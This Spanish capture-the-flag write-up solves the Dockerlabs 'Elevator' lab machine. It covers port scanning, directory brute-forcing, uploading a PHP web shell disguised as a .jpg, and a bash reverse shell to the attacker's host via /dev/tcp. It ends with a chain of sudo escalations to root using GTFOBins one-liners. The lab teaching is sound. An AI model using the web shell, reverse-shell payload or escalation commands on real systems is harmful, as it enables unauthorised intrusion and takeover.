En este writeup vamos a resolver una de las máquinas de la plataforma Dockerlabs llamada Elevator, con el nivel más sencillo de dificultad «Fácil».
Resumen de conceptos trabajados:
Escaneo de Puertos Reconocimiento Fuerza bruta de directorios Ejecución Remota de Comandos (RCE) Escalada Privilegios por binarios |
Si quieres conocer más sobre la plataforma Dockerlabs y ver cómo se configura, etc, en este post te cuento cómo hacerlo.
Básicamente los pasos son: 1) Crear una carpeta con el nombre de la máquina, 2) Descargar la máquina de Dockerlabs, 3) Descomprimirla y desplegarla.
Para todas las máquinas, la IP de Dockerlabs es siempre la misma: 172.17.0.2
Una vez hemos descargado la máquina víctima de Dockerlabs y desplegada en nuestro entorno, empezamos con el escaneo.
Estructura del contenido
ESCANEO DE PUERTOS
Comenzamos con la enumeración de puertos y conocimiento de versiones y servicios que corren sobre los mismos.
Antes, a mi me gusta asegurarme que efectivamente la máquina víctima está activa y ante qué sistema operativo (OS) nos enfrentamos. Para ello:
¿Está la máquina víctima activa y nos podemos comunicar con ella?
Aquí lo que haremos es ejecutar el siguiente comando y ver si el «host is up»:
nmap -sn 172.17.0.2
-sn : realiza un Ping Scan para verificar que el host está activo sin intentar descubrir puertos.
¿Qué OS está ejecutando la máquina víctima?
ping -c 1 172.17.0.2 -R
ping
: se comprueba si la máquina víctima está conectada y responde en la red. Básicamente, manda un mensaje para ver si la máquina responde con un «¡Sí, estoy aquí!».
-c 1
: aquí indicamos que solo queremos mandar un mensaje («un ping») en vez de muchos. Si no lo pones, el comando seguirá mandando mensajes hasta que lo detengas manualmente (CTRL+C).
[IP de la máquina víctima]
: dirección de la máquina víctima.
-R
: este comando Trace Route indica que quieres rastrear la ruta que sigue el mensaje para llegar a la máquina víctima y volver. En algunos laboratorios de pentesting como HTB suele haber un nodo intermediario en la comunicación que reduce en una unidad el TTL del SO.
En este caso el TTL es de 64 por lo que estamos antes una máquina Linux.
Con toda esta información de inicio ahora comenzamos el escaneo de puertos con el siguiente comando:
sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG Escaneo
La idea de este escaneo es detectar puertos abiertos en la dirección IP especificada.
nmap
: nmap herramienta para escanear redes. Principalmente para descubrir hosts activos.
-p-
: esta opción le indica a nmap que escanee todos los puertos del 1 al 65535.
--open
: nmap solo mostrará los puertos que están abiertos.
-sS
: especifica el tipo de escaneo que se va a realizar. En este caso, es un escaneo SYN, también conocido como «escaneo sigiloso» o TCP SYN scan. Este tipo de escaneo no establece una conexión completa con el puerto, solo envía un paquete SYN y espera una respuesta. Si el puerto está abierto, responde con un SYN-ACK; si está cerrado, responde con un RST.
--min-rate 5000
: establece la velocidad mínima del escaneo en 5000 paquetes por segundo, lo que significa que nmap intentará enviar al menos 5000 solicitudes cada segundo. Esto puede hacer que el escaneo sea más rápido, pero también puede aumentar las posibilidades de que sea detectado por sistemas de seguridad.
-vvv
: Es el nivel de información que muestra nmap mientras escanea.
-n
: esta opción le indica a nmap que no resuelva nombres de dominio (DNS). Es decir, solo utilizará direcciones IP sin intentar convertirlas en nombres de host.
-Pn
: le dice a nmap que no haga un «ping» a la dirección IP antes de escanearla. Con -Pn
, nmap asumirá que el host está activo y procederá directamente al escaneo de puertos, útil si el host bloquea pings.
-oG Escaneo
: especifica el formato de salida y el nombre del archivo donde se guardarán los resultados del escaneo. Escaneo
es el nombre del archivo de salida donde se guardarán los resultados.
Sabemos por tanto que sólo el puerto 80 http está abierto.
Ahora vamos a lanzar un comando que nos va a reportar las versiones que corren para cada uno de esos servicios en sus puertos:
nmap -sCV -p80 172.17.0.2
La explicación de ese comando es:
-sCV
: se pueden combinar ambos parámetros en uno:
-sC
: Usa los scripts predeterminados de Nmap (llamados NSE scripts) para realizar pruebas adicionales. Esto ayuda a identificar detalles como versiones de software, configuraciones incorrectas o posibles vulnerabilidades.-sV
: Intenta detectar la versión exacta del servicio que corre en esos puertos abiertos.
-p80
: puerto estándar para HTTP, el protocolo utilizado por sitios web no cifrados.
Versión del servidor Apache httpd 2.4.62
RECONOCIMIENTO WEB
Analizamos la web desde el navegador y revisamos lo básico: -Enlaces internos, -Robots.txt, -Plugins, versión web, etc.
Para esa versión de Apache inferior a la 6.0, existe un exploit identificado en la base de datos de Exploit-DB sin embargo consiste en un ataque de denegación de servicio (DoS) mediante el agotamiento de memoria, que entiendo que por la dificultad de la máquina, no será el caso.
Exploramos la respuesta 200 de la web que nos da el navegador en búsqueda de alguna pista…
El botón ¡Abre el Ascensor! activa un comentario de texto con una breve historia, donde se dan algunos datos como el número 13, y nombres de personajes de la película Scooby-Doo.
De momento, nada destacado a mi parecer, por lo que vamos a buscar directorios que puedan ser interesantes a investigar, o subdominios, ficheros con extensiones específicas, etc.
FUERZA BRUTA DE DIRECTORIOS
Analizamos primero si se encuentran directorios potenciales con la herramienta de Gobuster:
gobuster dir -u http://172.17.0.2/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
Devuelve dos carpetas con dos redirecciones pero que después de abrirlas, devuelven un 403 forbidden : /themes y /javascript
Aún si ampliamos el escaneo a buscar extensiones abiertas, no parece haber nada:
Sabiendo que esas carpetas devuelven un 301 aunque en cliente devuelve un 403, vamos a indagar por si dentro de cada una de esas carpetas hubiera alguna subcarpeta potencial o extensión de fichero crítica…
Empezamos con la carpeta /themes/ y encontramos varias pistas:
gobuster dir -u http://172.17.0.2/themes/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x php,html,txt
Analizando esas 3,y vemos lo siguiente: http://172.17.0.2/themes/archivo.html
EJECUCIÓN REMOTA DE COMANDOS (RCE)
Sabiendo que me deja subir un fichero con extension .jpg, me creo un archivo malicioso php con extensión .jpg para ver qué hace el servidor y si lo sube y dónde:
<?php system($_GET['cmd']); ?>
Es decir, que nuestro fichero malicioso se guarda en el servidor bajo la ruta: http://172.17.0.2/themes/uploads/674e227bb3cce.jpg
Al acceder a esa ruta, y si vemos el código fuente nos indica un 1, como que ha quedado registrado…
Entonces y sabiendo que nuestra imagen tiene un payload a continuación vamos a ejecutar comandos en el servidor a través del parámetro cmd
.
Añadimos a la url el siguiente comando:
http://172.17.0.2/themes/uploads/674e227bb3cce.jpg?cmd=whoami
Y el servidor nos devuelve un:
Es decir, que tenemos la capacidad de ejecutar comandos en el sistema operativo desde el servidor web. Esto nos da una puerta de entrada para continuar con la explotación.
En este punto vamos a obtener una reverse shell para establecer una conexión interactiva con el servidor.
Para ello vamos a levantar un listener y ponernos en escucha con Netcat por el puerto 4444 desde nuestra máquina atacante:
nc -lvnp 443
Ejecutamos nuestro payload PHP para enviar un comando que abra una conexión inversa hacia nuestra máquina.
Incluimos este comando en la URL del archivo en el navegador:
http://172.17.0.2/themes/uploads/674e227bb3cce.jpg?cmd=bash -c 'bash -i >& /dev/tcp/10.0.2.4/443 0>&1'
http://172.17.0.2/themes/uploads/674e227bb3cce.jpg?cmd=bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/10.0.2.4/443%200%3E%261%22
Hemos conseguido obtener una reverse shell y estamos conectados al servidor como el usuario www-data
.
Ahora estabilizamos la shell con un tratamiento de la TTY para tener el control total de terminal y no tener limitaciones en algunas operaciones.
Si aplicamos el whoami, no somos root aún, sino que seguimos siendo el usuario www-data.
ESCALADA DE PRIVILEGIOS POR BINARIOS
A partir de aquí escalamos privilegios mediante el abuso de permisos mal configurados en el archivo sudoers
que controla qué usuarios pueden ejecutar comandos con sudo
y bajo qué condiciones.
Si aplicamos el comando sudo -l vemos que el usuario www-data
puede ejecutar el comando /usr/bin/env
como sudo
sin necesidad de proporcionar una contraseña (NOPASSWD
).
Escalada de privilegios mediante herramientas específicas:
a) Abusar de env
:
La herramienta env
permite ejecutar comandos en diferentes entornos. Mediante las instrucciones de GTFObins podemos ir explotando cada binario:
https://gtfobins.github.io/gtfobins/env
sudo -u daphne /usr/bin/env /bin/sh
Esto nos da acceso como el usuario daphne
.
b) Abusar de ash
:
ash
es una shell ligera.
https://gtfobins.github.io/gtfobins/ash/
sudo -u vilma /usr/bin/ash
Esto nos da acceso como el usuario vilma
.
c) Abusar de ruby
:
Si puedes ejecutar ruby
, puedes usarlo para ejecutar un comando como shell interactiva:
https://gtfobins.github.io/gtfobins/ruby
sudo -u shaggy /usr/bin/ruby -e 'exec "/bin/sh"'
Esto nos da acceso como el usuario shaggy
.
d) Abusar de lua
:
lua
es un lenguaje de scripting.
https://gtfobins.github.io/gtfobins/lua
sudo -u fred /usr/bin/lua -e 'os.execute("/bin/sh")'
Esto nos da acceso como el usuario fred
.
e) Abusar de gcc
:
gcc
es un compilador.
https://gtfobins.github.io/gtfobins/gcc
sudo -u scooby /usr/bin/gcc -wrapper /bin/sh,-s .
Esto nos da acceso como el usuario scooby
.
f) Abusar de sudo
directamente:
Tenemos acceso para ejecutar sudo
como root
:
https://gtfobins.github.io/gtfobins/sudo
sudo -u root /usr/bin/sudo /bin/sh
Esto nos da acceso como el usuario root
.